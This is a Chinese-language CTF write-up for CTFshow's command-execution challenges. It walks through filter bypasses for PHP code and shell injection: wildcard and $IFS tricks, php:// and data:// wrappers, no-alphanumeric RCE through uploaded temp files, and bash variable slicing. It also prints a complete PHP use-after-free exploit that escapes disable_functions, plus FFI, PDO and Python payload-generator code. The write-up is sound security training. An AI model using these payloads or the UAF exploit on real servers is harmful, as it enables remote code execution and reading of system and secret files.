CTFSHOW 命令执行篇(完)
CTFSHOW 命令执行篇(完)
29

这题严格来说是代码执行体
我们先phpinfo
/c=phpinfo(); (这里要使用分号,没有分号是无法执行的)
/C=phpinfo()?> (php最后一条语句可以没有;)
使用ls来查看一下目录
/?c=system('ls');

/c=system("cp fla?.txt 1.txt")
使用?代替,在shell里面是一个占位符,和正则相似,代表一个字符 *代表多个,一个?代表一个
30

这里过过滤了一个system,我们换一种方法
/c=`cp fla?.??? 1.txt`; (被过滤了的使用?代替)
``在php中和system类似,代表shell执行
31

31过滤多起来了,不仅过滤了点,还过滤了空格,这时我们可以尝试嵌套执行
/C=eval($_GET[1]);$1=phpinfo(); 这里1相当于参数逃逸了出来,它不属于C,可以任意使用他们搬掉的关键字也是可以使用的
所以我们可以直接使用
/c=eval($_GET[1]);$1=system('cat flag.php');
/c=eval($_GET[1]);$1=system('tac flag.php'); tac表示反过来读取
32
这里过滤的参数更过了了

这里把空格过滤了可以使用url编码绕过
/c=include%0a$_GET[1]?>&1=ect/passwd
这时候我们直接写flag.php
/c=include%0a$_GET[1]?>&1=flag.txt 这时候我们是看不到的,虽然是包含,但是没有输出flag的变量,以为;被过滤了,造成无法输出,这时我们可以采用文件包含来做
/c=include%0a$_GET[1]?>$1=php://filter/convert.base64-encode/resource=flag.php 这时我们到了flag然后解码
33
这里是多了过滤了一个双引号

/c=require%0a$_GET[1]?>&1=/etc/passwd 发现可以包含
/c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
php://filter/convert.base64-encode/resource=
34
过滤了:防止直接使用伪协议进行读取

还过滤了;和)
这时候我们可以考虑语言结构了
有语言结构有
echo print isset unset include require....
因为echo过滤了,isset和unset也用不了
使用print/?c=print%0a$_GET[1]?>&1=phpinfo();
执行,输出了phpinfo();这个字符
为什么会出现这个情况了
这个跟二进制的有点类似,这里属于一个代码空间和数据空间,二进制有代码段和数据段,phpinfo();在数据段,不在代码段,系统当作一个字符串来处理了而不是当成代码来执行
需要使用eval来执行,但是eval使用需要用到()
使用这里只能使用include
/?c=include%0a$_GET[1]?>&1=/etc/passwd

但这不是代码执行,而是文件读取,我们继续读取flag.php文件,
/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
读取成功,然后解码即可得到flag
35

这里把=和<过滤了,我们仍然可以使用上一种方法进行解即可。
36

这一题的区别是不让使用数字了,那我们可以使用字母来代替
/?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
37

这里eval变成了include了,并且过滤了flag
我们使用包含其他参数进行尝试一下
/?c=$_GET[1]&1=flag.php
不能成功,因为把$_GET当成了一个数据领域来处理了,不是代码执行
那我们可以使用文件包含
/?c=php://filter/convert.base64-encode/resource=flag.php
这样子也不行,这条题目的考点是伪协议,可以使用data协议来尝试一下
/?c=data://text/plain,<?php phpinfo();?>
可以成功执行,因为data协议会把后面的字符串当成PHP代码来执行,那我们直接cat试一下
/?c=data://text/plain,<?php system("cat flag.php")?>/?c=data://text/plain,<?php system("tac flag.php")?>可以把flag ----> fla? 就可以返回结果了
我们也可以使用复制的方法
/?c=data://text/plain,<?php system("mv fla?.php 1.txt")?>然后直接访问1.txt即可/1.txt
38

这里过滤了php和file
这里不能使用上面的写法了,因为存在php字符
/?c=data://text/plain,<?= system("mv fla?.php 1.txt")?>
我们把php换成=,这个叫短标签,我们可以测试一下短标签有没有开启
然后我们在访问1.txt即可
39
这里没有回显,而且强制添加后缀
我们使用data协议尝试一下
/?c=data://text/plain,<?=phpinfo();?>
依旧可以执行,直接rce了

我可以直接system即可,(使用*和?都可以)
/?c=data://text/plain,<?= system("tac fla?.php")?>
40
没有过滤字母,没有过滤分号,过滤了中文括号,没有过滤英文括号,没有过滤下划线,这是我们能用的东西了
/c=show_source(next(array_reverse(scandir(pos(localeconv())))));
需要用到的函数localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)pos():返回数组中的当前元素的值。array_reverse():数组逆序scandir():获取目录下的文件next(): 函数将内部指针指向数组中的下一个元素,并输出。首先通过 pos(localeconv())得到点号,因为scandir('.')表示得到当前目录下的文件,所以scandir(pos(localeconv()))就能得到flag.php了。
我们可以通过提示获取flag,提示是通过货币信息获取pos扫描当前目录,然后把目录的结果进行翻转,然后取下一个,然后再显示源码
应为不能使用$就不能使用之前的老方法了
我们可以打印一下当前的变量
/?c=print_r(get_defined_vars());

我们可以给他加一个post数组

返回

那我们就可以rce了
我们拿到了这一个数组

我们要拿到他的数组的值,对数组进行弹出

我们只需要对它执行一下就可以了


参考:https://blog.51cto.com/u_15127575/3404713
41
过滤了一些字符,然后作为php代码执行,这里把数字和字母给过滤了,反引号,加号,波浪号等都过滤了
这个题的思路就是要我们通过一些特殊符号构造出字符串来实现代码执行
& 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,其中按位异 | 没有过滤,过滤的字符是防异或、自增和取反构造字符
建议直接使用这两位大佬写的脚本
https://blog.51cto.com/u_15127575/3404713https://blog.csdn.net/miuzzx/article/details/108569080
import reimport requestsurl="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080"a=[]ans1=""ans2=""for i in range(0,256): c=chr(i) tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I) if(tmp): continue #print(tmp.group(0)) else: a.append(i)# eval("echo($c);");mya="system" #函数名 这里修改!myb="ls" #参数def myfun(k,my): global ans1 global ans2 for i in range (0,len(a)): for j in range(i,len(a)): if(a[i]|a[j]==ord(my[k])): ans1+=chr(a[i]) ans2+=chr(a[j]) return;for k in range(0,len(mya)): myfun(k,mya)data1="(\""+ans1+"\"|\""+ans2+"\")"ans1=""ans2=""for k in range(0,len(myb)): myfun(k,myb)data2="(\""+ans1+"\"|\""+ans2+"\")"data={"c":data1+data2}r=requests.post(url=url,data=data)print(r.text)
42
这里把输出结果输入到黑洞里面去了,往dev/null写的文件都不会保存,2>&1shell里面一共有三种文件描述符 1是标准输入,2是错误输出,3是标准输出,把错误输出绑定到标准输出里面,错误的输出也再标准输出里面进行输出,然后统一输出到这个黑洞里面去,总之就是$c的返回结果是不显示的
代码没有任何过滤
/?c=ls;ls
可以返回值,原因是第二个ls写到黑洞里面去了,第一个输出了,因为使用了;分割开来了
/?c=tac flag.php;ls
tac是逆向返回可以把html的注释进行破坏
43
这里把分号过滤了,但是我们可以使用其他的姿势,原理不变
&&在shell里面第一个命令执行成功才执行第二个命令,那这里就是两个命令,会把第二个命令输出到黑洞里面去,第一个正常输出,&&要进行url编码
/?c=tac flag.php%26%26ls
44
过滤了flag,直接使用通配符
/?c=tac%20fla%3F.php%26%26ls
45
多过滤了一个空格,那我们可以使用其他符号代替,如水平制表符
/?c=tac%09fla%3F.php%26%26ls
这里的空格不是php代码里面的空格,而是shell里面的空格
46
过滤了数字,不能有$符号,也不能使用*号,我们无法使用上面的办法了
过滤了*我们可以使用?代替,区别是*代表多为,?代表一位
/?c=tac%09fla%3F.php%26%26ls
47
这里过滤了好多文件读取的命令,但是没有过滤tac,直接使用上一个打
/?c=tac%09fla%3F.php%26%26ls
48

这里过滤的更多了,但是还是没有过滤tac,直接白嫖
/?c=tac%09fla%3F.php%26%26ls
过滤的再多,只有有一个可以利用就可以产生漏洞
49
多过滤了一个百分号,我们继续白嫖
/?c=tac%09fla%3F.php%26%26ls
50

这里x09过滤了,x26也过滤了,$也过滤了,空格也过滤了,但是明显的留下了|,这里可以使用带行号读
/c=nl<fla*.php
不能上面那样子写,因为不支持通配
使用我们要利用shell的一个特性 '' 两个单引号分割字符串,中间执行自动忽略
/?c=nl<fla''g.php%7C%7Cls
页面返回1,直接查看页面源代码即可获得flag
51
这里没有什么变化,直接使用上面的方法直接白嫖
/?c=nl<fla''g.php%7C%7Cls
52

这里过滤了通道符,但是把$符号放出来了,我们可以使用复制或者重命名的方式
/?c=cp$IFSfla?.php$IFSa.txt||ls
测试发现无法写入,权限不足?那我们试试重命名
/?c=mv$IFSfla?.php$IFSa.txt%7C%7Cls
还是不行,我们再换一种方式
/?c=mv${IFS}fla?.php${IFS}a.txt%7C%7Cls
${IFS}系统自带的空格

成功重命名,直接访问a.txt即可,
但是这个flag是不对的,没想到到,这就不将武德了
查看一下根目录
/?c=ls${IFS}/||ls

发现这里还有一个flag,那这个就很有可能是真的了
我们复制到默认目录
/?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt||ls
访问一下b.txt,访问失败,再查看一下目录
/?c=ls||ls
貌似不能移动,我们复制试一下

最后直接访问一下b.txt即可。
53

过滤和上一道题没有啥变化,但是又回显了,首先把我们的命令进行显示,同时把命令结果也进行了显示,system执行成功返回命令输出的最后一行,失败者返回false
我们使用一下老办法
/?c=ta''c${IFS}fla?.php
成功拿到flag
54

过滤的丧心病狂呀,用单引号绕过的也过滤了,但是还有漏网之鱼,我们可以使用mv命令,先查看一下文件

/?c=mv${IFS}fla?.php${IFS}y.txt

写入成功,直接访问y.txt即可
55
<?php// 你们在炫技吗?if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); }}else{ highlight_file(__FILE__);}
这里留了空格,但是过滤了字母,这时候我们就要考虑经典的无字母rec了,做一个文件上传的表单
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title></head><body><form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data"><!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"></form></body></html>
上传文件后会在php的服务器接收到这个上传文件,它不知道你这个脚本后面还有没有处理上传文件的一个逻辑,现在文件已经上传上去了,php会把每次文件上传的脚本放到一个临时目录,然后脚本执行完了就删除,他的命名规则是phpaaaaaX
还有它没有过滤点,点在Linux下是可以执行脚本的,假如我们可以自定义一个脚本文件,假如脚本的名字是. ?.?那我们就可以执行任意文件了,只要我们可以控制这个文件,通过点号就可以执行这个脚本了,但是我们没有可以写入文件的地方,使用我们使用刚刚那个上传脚本,不管这个脚本用不用我们上传的那个文件的数据,只要在脚本执行之前,这个文件都是存在的,我们如果上传一个文件目录是tmp/phpaabbC如果我们上传的是这个脚本的话那我们./tmp/phpaabbC是不是就可以执行任意命令了,但是名字我们是不可控的,值我们是可控的,这时候名字就可以使用通配符代替tmp可以使用???代替phpaabbC可以使用??????,/???/??????这个是匹配三个字符目录下的任意六·个数字,它总有一位最后是大写的就,大写字符的ASCII码值是在[@-[]]之间
我们先上传一个文件抓包试试看

正常执行rce

正常查看文件

直接查看flag.php文件

参考:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
56
这里过滤了很多,字母数字都没了,有系统执行,那肯定是无字母数字rce了
<?php// 你们在炫技吗?if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); }}else{ highlight_file(__FILE__);}
php的上传机制,跟上面一样
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title></head><body><form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data"><!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"></form></body></html>



在遇到过滤了字母数字,但是给了点和问号这两个符号,这种情况下就要考虑经典的无字母数字的rce做法
57
这里过滤了更多了,结果只需要构造一个36即可,然后直接访问36.php即可
<?php// 还能炫的动吗?//flag in 36.phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ system("cat ".$c.".php"); }}else{ highlight_file(__FILE__);}
没过滤$可以使用变量
在linux中
echo $(()) --> 0echo ~$(()) --> ~0echo $((~$(()))) --> -1所以我们连续相加36个 $((~$(()))) 然后取反即可的到36


echo $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
然后直接访问
http://d60dafe7-3f6b-460d-af46-4cd78e3038fe.challenge.ctf.show/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
查看页面源码即可得到flag
58
这里变成了突破禁用函数了,我们不知道禁用了上面函数
<?php// 你们在炫技吗?if(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}
这里我们可以查看一下它禁用了那些函数

phpinfo居然也禁用了,那我们来试一下syetem,systme也没了,shell_exec也没了
那尝试一下文件读取吧

可以使用

盲猜直接读取flag

搞定
59
源码没变,但是肯定禁用了更多的函数,我们试一下直接白嫖上一个函数试试看
file_get_contents发现也不行,我们使用include文件读取

完成
60
代码没动,使用上一个方法可以直接白嫖
方法二

先写到日志里面去

尝试一下执行一下命令,可以执行命令,我们发现highlight_file这个函数是没有禁用的

61
上一题的第二种方法还是可以的

show_source也可以

62
上一题的做法还可以白嫖

方法2:

63
用上道题的方法试一试

法二:
如果我们不知道变量名字的话,但是知道文件名时

get_defined_vars()拿到所有的注册变量,先包含文件在把flag这个变量注册进去
64
继续白嫖上一道题的变量试一试,发现可以

法二:
尝试重命名 c=rename('flag.php','1.txt');不行
查看一下目录print_r(scandir('.'));


65
老规矩,白嫖一下上面的方法

其他思路
curl禁用了
c=$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "file:///var/www/html/flag.php");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);$output=curl_exec($ch);curl_close($ch);print_r($output);
远程文件获取,也没了
c=file_get_contents('flag.php')
66
这里继续白嫖楼上的show_source,哎嘿,发现不行了,被ban了,那我们试试higlight_file

我们看一下是不是这个flag改名字了,这个明显代码是执行了的,查看一下当前目录

看来不在这一层目录,向上翻

根目录查看一波

直接读取

67
哎嘿,直接白嫖上一条题的即可
68
highlight_file白嫖不了了,呜呜呜,白嫖include
include('flag.php');echo $flag;

使用print_r(scandir('/'))扫描一下根目录,print_r被ban了,那我们使用var_dump

发现目标,直接包含

69
继续白嫖incude,include('/flag.txt'),成功
70
继续白嫖incude,include('/flag.txt'),成功

71
继续白嫖

啊这,回头我们发现这有个附件
<?phperror_reporting(0);ini_set('display_errors', 0);// 你们在炫技吗?if(isset($_POST['c'])){ $c= $_POST['c']; eval($c);//代码执行 $s = ob_get_contents(); //拿到缓冲区的内容 ob_end_clean(); //清空缓冲区 echo preg_replace("/[0-9]|[a-z]/i","?",$s); //替换缓冲区的内容}else{ highlight_file(__FILE__);}?>你要上天吗?
我们可以在代码执行后中断,不执行eval后面的代码

72
继续白嫖

失败了,找不到flag.txt这个文件了,文件扫描走起,
var_dump(scandir('/'));

这,忘记了要退出呀

找不到???var_dump没了,换一种写法$a=scandir('/');
还是不行,回头看一波源码
<?phperror_reporting(0);ini_set('display_errors', 0);// 你们在炫技吗?if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s);}else{ highlight_file(__FILE__);}?>你要上天吗?
源码没变呀,回头看报错

这里添加了basedir,通过这个来限制你的读取目录,那我们可以使用一些glob协议来绕过
c=$a="glob:///*.txt"; //定义一个路径,查看根目录下所有的txt文件if($b=opendir($a)){ //读入一下 while (($file = readdir($b)) !== false){ //循环读取 echo "filename:".$file."\n"; //如果不是目录也是存在的也输出}closedir($b); //关闭}exit(); //防止替换

发现根目录下的txt文件只有一个flag0.txt,我们直接包含走起

呜呜呜,它不在网站这个目录,在open_dir之外,这时候只能用uaf了
这是一个通用的绕过安全目录的一个脚本
<?phpfunction ctfshow($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; write($abc, 0x60, 2); write($abc, 0x70, 6); write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd); exit();}ctfshow("cat /flag0.txt");ob_end_flush();?>
记得要url编码一下

73
嫖上一道题的方法,失败
嫖gobl协议
c=%3F%3E%3C%3Fphp%0A%24a%3Dnew%20DirectoryIterator(%22glob%3A%2F%2F%2F*%22)%3B%0Aforeach(%24a%20as%20%24f)%0A%7Becho(%24f-%3E__toString().'%20')%3B%0A%7D%0Aexit(0)%3B%0A%3F%3E

直接包含c=include("/flagc.txt");exit();
74
继续嫖
使用glob协议读取目录
c=$a="glob:///*.txt"; if($b=opendir($a)){ while (($file = readdir($b)) !== false){ echo "filename:".$file."\n"; }closedir($b);}exit();

直接包含,读取c=include("/flagc.txt");exit();

75
继续白嫖,使用gobl协议读取目录

拿到根目录,在flag36.txt中,于是使用c=include("/flag36.txt");exit();
发现include被禁用了,于是使用数据库链接

直接使用pdo
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
数据库名,账号,密码可以通过之前的题目获取
76
继续白嫖,gobl协议走起


77
老规矩,glob协议扫目录

pdo读取一下

哎,不让用mysql了,使用FFI,PHP>=7.4时才行
c=$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象$a='/readflag > 1.txt';//没有回显的$ffi->system($a);//通过$ffi去调用system函数
再次访问1.txt即可
参考链接:https://rolemee.com/2021/07/17/ctfshow-web-ru-men-ming-ling-zhi-xing-73-77/
118


也就是我们输入的命令会被执行,但是诸如ls,id之类的都被ban了,使用如下方法。
需要使用bash的内置变量进行绕过(参考https://www.cnblogs.com/sparkdev/p/9934595.html#title_pwd
空格可以执行,那么我们就可以构造系统变量了,但是我们没有echo,所有只能在系统变量里面构造我们想要的东西,
题目给了我们默认环境下的配置文件

echo ${PWD} /root echo ${PWD:0:1} #表示从0下标开始的第一个字符/ echo ${PWD:~0:1} #从结尾开始往前的第一个字符t echo ${PWD:~0} t echo ${PWD:~A} #所以字母和0具有同样作用 t echo ${PATH} /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin echo ${PATH:~A} n ls Desktop Documents Downloads flag.txt Music Pictures Public Templates Videos ${PATH:~A}l flag.txt 1 flag{test}
构造出${PATH:~A}${PWD:~A}$IFS????.??? = nl flag.php查看页面源码即可得到flag
119
无法白嫖上一题
nl无法使用

在当前目录或当前环境变量地址/bin中无法找到有用的字符了
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
我们有:
${SHLVL} //一般是一个个位数${#SHLVL} //1,表示结果的字符长度${PWD:${#}:${#SHLVL}} //表示/${USER} //www-data${PHP_VERSION:~A} //2${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} //at
${PHP_VERSION:~A}来自于返回报文的头部,为2:

所以最终的payload如下
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
也就是:
/???/?at ????.???
法二:
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -02 -D_LARGFILE_SOURCE -D_FILE_OFFSEET_BITS=64PHP_VERSION=7.32SHLVL=22 = ${PHP_VERSION:~A:${SHLVL}}3 = ${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}tac = ${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}}${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} ????.???即可得到flag
120
白嫖上面的发现有长度限制,还得减减,长度不能大于64
第一种${PHP_CFLAGS:?:?} ????.???要用20个字符构造出 3第二种base64 flag.php4 = ${php_CFLAGS:~A}6 = ${#PHP_VERSION}/ = ${PWD::${#SHLVL}}/bin/base64 flag.php${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${php_CFLAGS:~A} ????.??? 超了只要摇色子摇出来的随机数是4位数的 1000-10000之间就行,多摇几次code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

121
<?phperror_reporting(0);highlight_file(__FILE__);if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){ echo '<div align="center">'.'you are so long , I dont like '.'</div>'; } else{ echo '<div align="center">'.system($code).'</div>'; } } else{ echo '<div align="center">evil input</div>'; }}?>
老办法,白嫖,发现把SHLVL过滤了,SHLVL是用来取1的,用其他代替一下
$? 上一次命令执行的结果 (0:正常,1:不正常)
我们先执行一个非正常的命令

然后把#shell替换为#$?
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???

122
白嫖上面的,第一次先让系统执行一次错误的命令

pwd被过滤了 home没有过滤,用home代替。 #也过滤了
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? 多发几十遍

124
<?phperror_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){ show_source(__FILE__);}else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { //判读长度不能超过80 die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; //过滤特殊符号 foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; //给定了指定函数 preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); //最后执行}
这里需要了解两个函数:
base_convert()


<?phpecho base_convert(37907361743,10,36)(dechex(1598506324));?>//输出//_GET <?php$a = base_convert(37907361743,10,36)(dechex(1598506324));var_dump($$a);?> // 返回一个数组// array(0) { } <?php$a = base_convert(37907361743,10,36)(dechex(1598506324));eval($$a['a']);?>//变成了一个后面

$pi=base_convert(37907361743,10,36)(dechex(1598506324)); //_GET$$pi //$_GET$$pi{abs}($$pi{acos}) //$_GET($_GET[acos])注意:payload用了花括号代替方括号
/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls

然后直接cat它
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=cat flag.php


浙公网安备 33010602011771号